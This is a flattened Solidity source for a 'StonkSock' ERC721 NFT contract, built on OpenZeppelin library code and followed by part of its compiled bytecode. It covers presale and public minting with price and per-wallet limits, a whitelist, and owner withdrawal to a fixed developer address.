@dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/StonkSock.sol // Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) pragma solidity >=0.8.0 <0.9.0; contract StonkSock is ERC721Enumerable, Ownable, ERC721Pausable, ERC721URIStorage { using Counters for Counters.Counter; using SafeMath for uint256; Counters.Counter private _tokenIds; bool private presaleLive; bool private saleLive; uint256 public constant MINT_LIMIT = 2022; uint256 public constant PRESALE_LIMIT = 500; uint256 public constant PRICE = 0.05 ether; uint256 public constant PRESALE_PRICE = 0.03 ether; uint256 public constant MAX_PER_WALLET = 20; uint256 public constant MAX_MINT_PRESALE = 5; address public constant devAddress = 0x28CC536e3C340c4D3a9BA751a3FB970D1867F4a4; mapping(address => bool) private _presaleList; string public baseTokenURI; event CreateNft(uint256 indexed id); constructor() ERC721("StonkSock", "SOCK") { setBaseURI("ipfs://"); presaleLive = false; saleLive = false; } function setPresaleAddress(address[] calldata addresses) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { require(addresses[i] != address(0), "Invalid Wallet Address"); _presaleList[addresses[i]] = true; } } modifier presaleIsLive { require(_totalSupply() < PRESALE_LIMIT, "Presale ended"); if (_msgSender() != owner()) { require(presaleLive == true, "Presale Not Live"); } _; } modifier saleIsLive { require(_totalSupply() < MINT_LIMIT, "Sale ended"); if (_msgSender() != owner()) { require(saleLive == true, "Sale Not Live"); } _; } function _totalSupply() internal view returns (uint) { return _tokenIds.current(); } function totalMint() public view returns (uint256) { return _totalSupply(); } function mintReserve(address _to, uint256 startId, string[] memory URIs) public onlyOwner { uint _count = URIs.length; require(_totalSupply() + _count < MINT_LIMIT, "Max limit"); for (uint256 i = 0; i < _count; i++) { require(_totalSupply() + 1 == (startId + i), "Invalid ID"); _mintAnElement(_to, URIs[i]); } } function presaleMint(address _to, uint256 startId, string[] memory URIs) public payable presaleIsLive returns (uint256[] memory ids) { uint _count = URIs.length; require(_presaleList[_to], 'Address Not Whitelisted for Presale'); require(balanceOf(_to) + _count <= MAX_MINT_PRESALE, 'Max 5 Presale'); require(_totalSupply() + _count < PRESALE_LIMIT, "Presale Max Limit"); require(msg.value >= price(_count), "Insufficient Funds For Mint"); for (uint256 i = 0; i < _count; i++) { require(_totalSupply() + 1 == (startId + i), "Invalid ID"); _mintAnElement(_to, URIs[i]); } return ids; } function mint(address _to, uint startId, string[] memory URIs) public payable saleIsLive returns (uint256[] memory ids) { uint _count = URIs.length; require(_totalSupply() + _count < MINT_LIMIT, "Not enough Tokens remaining for this Request"); require(_count + balanceOf(_to) <= MAX_PER_WALLET, "Exceeds Max Number"); require(msg.value >= price(_count), "Insufficient Funds For Mint"); for (uint256 i = 0; i < _count; i++) { require(_totalSupply() + 1 == startId + i, "Invalid ID"); _mintAnElement(_to, URIs[i]); } return ids; } function _mintAnElement(address _to, string memory metadataURI) private returns (uint256) { _tokenIds.increment(); uint256 id = _tokenIds.current(); _safeMint(_to, id); _setTokenURI(id, metadataURI); uint returnValue = id; emit CreateNft(id); return returnValue; } function price(uint256 _count) public view returns (uint256) { if (presaleLive) { if (saleLive == false) { return PRESALE_PRICE.mul(_count); } } return PRICE.mul(_count); } function contractURI() public pure returns (string memory) { return "ipfs://QmaBynsnNYMsPRM1U1XEavw6CUfrGgYJrhcF4UnKcX7QFg"; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function togglePresale() public onlyOwner { presaleLive = !presaleLive; } function toggleSale() public onlyOwner { saleLive = !saleLive; presaleLive = false; } function withdrawAll() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _widthdraw(devAddress, address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success,) = _address.call{value : _amount}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override (ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } function _burn(uint tokenId) internal virtual override (ERC721, ERC721URIStorage) { super._burn(tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function tokenURI(uint256 tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } }
0x6080604052600436106102a05760003560e01c806362b3d9441161016e57806395d89b41116100cb578063d547cfb71161007f578063e8a3d48511610064578063e8a3d485146106c3578063e985e9c5146106d8578063f2fde38b1461072157600080fd5b8063d547cfb71461068e578063d833c1a1146106a357600080fd5b8063a9980870116100b0578063a99808701461063b578063b88d4fde1461064e578063c87b56dd1461066e57600080fd5b806395d89b4114610606578063a22cb4651461061b57600080fd5b80637d8966e411610122578063853828b611610107578063853828b6146105c55780638d859f3e146105cd5780638da5cb5b146105e857600080fd5b80637d8966e41461059b5780637e95eac4146105b057600080fd5b80636352211e116101535780636352211e1461054657806370a0823114610566578063715018a61461058657600080fd5b806362b3d9441461050b57806362dc6e211461052b57600080fd5b806323b872dd1161021c57806342842e0e116101d057806355f804b3116101b557806355f804b3146104b757806359a7715a146104d75780635c975abb146104ec57600080fd5b806342842e0e146104775780634f6ccce71461049757600080fd5b80632f745c59116102015780632f745c591461041a578063343937431461043a5780633ad10ef61461044f57600080fd5b806323b872dd146103da57806326a49e37146103fa57600080fd5b8063095ea7b31161027357806318160ddd1161025857806318160ddd1461038f5780631aee3f91146103a457806322df11d8146103ba57600080fd5b8063095ea7b3146103585780630f2cdd6c1461037a57600080fd5b806301ffc9a7146102a557806302775240146102da57806306fdde03146102fe578063081812fc14610320575b600080fd5b3480156102b157600080fd5b506102c56102c0366004612c08565b610741565b60405190151581526020015b60405180910390f35b3480156102e657600080fd5b506102f06107e681565b6040519081526020016102d1565b34801561030a57600080fd5b50610313610752565b6040516102d19190612c7d565b34801561032c57600080fd5b5061034061033b366004612c90565b6107e4565b6040516001600160a01b0390911681526020016102d1565b34801561036457600080fd5b50610378610373366004612cc5565b61087e565b005b34801561038657600080fd5b506102f0601481565b34801561039b57600080fd5b506008546102f0565b3480156103b057600080fd5b506102f06101f481565b6103cd6103c8366004612dae565b6109b0565b6040516102d19190612e8d565b3480156103e657600080fd5b506103786103f5366004612ed1565b610c60565b34801561040657600080fd5b506102f0610415366004612c90565b610ce7565b34801561042657600080fd5b506102f0610435366004612cc5565b610d26565b34801561044657600080fd5b50610378610dce565b34801561045b57600080fd5b506103407328cc536e3c340c4d3a9ba751a3fb970d1867f4a481565b34801561048357600080fd5b50610378610492366004612ed1565b610e3c565b3480156104a357600080fd5b506102f06104b2366004612c90565b610e57565b3480156104c357600080fd5b506103786104d2366004612f0d565b610efb565b3480156104e357600080fd5b506102f0610f6c565b3480156104f857600080fd5b50600a54600160a01b900460ff166102c5565b34801561051757600080fd5b50610378610526366004612dae565b610f7b565b34801561053757600080fd5b506102f0666a94d74f43000081565b34801561055257600080fd5b50610340610561366004612c90565b6110cc565b34801561057257600080fd5b506102f0610581366004612f42565b611157565b34801561059257600080fd5b506103786111f1565b3480156105a757600080fd5b50610378611257565b3480156105bc57600080fd5b506102f0600581565b6103786112d2565b3480156105d957600080fd5b506102f066b1a2bc2ec5000081565b3480156105f457600080fd5b50600a546001600160a01b0316610340565b34801561061257600080fd5b50610313611358565b34801561062757600080fd5b50610378610636366004612f5d565b611367565b6103cd610649366004612dae565b611372565b34801561065a57600080fd5b50610378610669366004612f99565b61166f565b34801561067a57600080fd5b50610313610689366004612c90565b6116fd565b34801561069a57600080fd5b50610313611708565b3480156106af57600080fd5b506103786106be366004613015565b611796565b3480156106cf57600080fd5b506103136118e2565b3480156106e457600080fd5b506102c56106f336600461308a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561072d57600080fd5b5061037861073c366004612f42565b611902565b600061074c826119e1565b92915050565b606060008054610761906130bd565b80601f016020809104026020016040519081016040528092919081815260200182805461078d906130bd565b80156107da5780601f106107af576101008083540402835291602001916107da565b820191906000526020600020905b8154815290600101906020018083116107bd57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108625760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610889826110cc565b9050806001600160a01b0316836001600160a01b031614156109135760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610859565b336001600160a01b038216148061092f575061092f81336106f3565b6109a15760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610859565b6109ab8383611a1f565b505050565b60606107e66109bd611a9a565b10610a0a5760405162461bcd60e51b815260206004820152600a60248201527f53616c6520656e646564000000000000000000000000000000000000000000006044820152606401610859565b600a546001600160a01b03163314610a7957600d5460ff610100909104161515600114610a795760405162461bcd60e51b815260206004820152600d60248201527f53616c65204e6f74204c697665000000000000000000000000000000000000006044820152606401610859565b81516107e681610a87611a9a565b610a91919061310e565b10610b045760405162461bcd60e51b815260206004820152602c60248201527f4e6f7420656e6f75676820546f6b656e732072656d61696e696e6720666f722060448201527f74686973205265717565737400000000000000000000000000000000000000006064820152608401610859565b6014610b0f86611157565b610b19908361310e565b1115610b675760405162461bcd60e51b815260206004820152601260248201527f45786365656473204d6178204e756d62657200000000000000000000000000006044820152606401610859565b610b7081610ce7565b341015610bbf5760405162461bcd60e51b815260206004820152601b60248201527f496e73756666696369656e742046756e647320466f72204d696e7400000000006044820152606401610859565b60005b81811015610c5757610bd4818661310e565b610bdc611a9a565b610be790600161310e565b14610c215760405162461bcd60e51b815260206004820152600a602482015269125b9d985b1a5908125160b21b6044820152606401610859565b610c4486858381518110610c3757610c37613126565b6020026020010151611aa5565b5080610c4f8161313c565b915050610bc2565b50509392505050565b610c6a3382611b0b565b610cdc5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610859565b6109ab838383611c02565b600d5460009060ff1615610d1557600d54610100900460ff16610d155761074c666a94d74f43000083611de7565b61074c66b1a2bc2ec5000083611de7565b6000610d3183611157565b8210610da55760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610859565b506001600160a01b0391909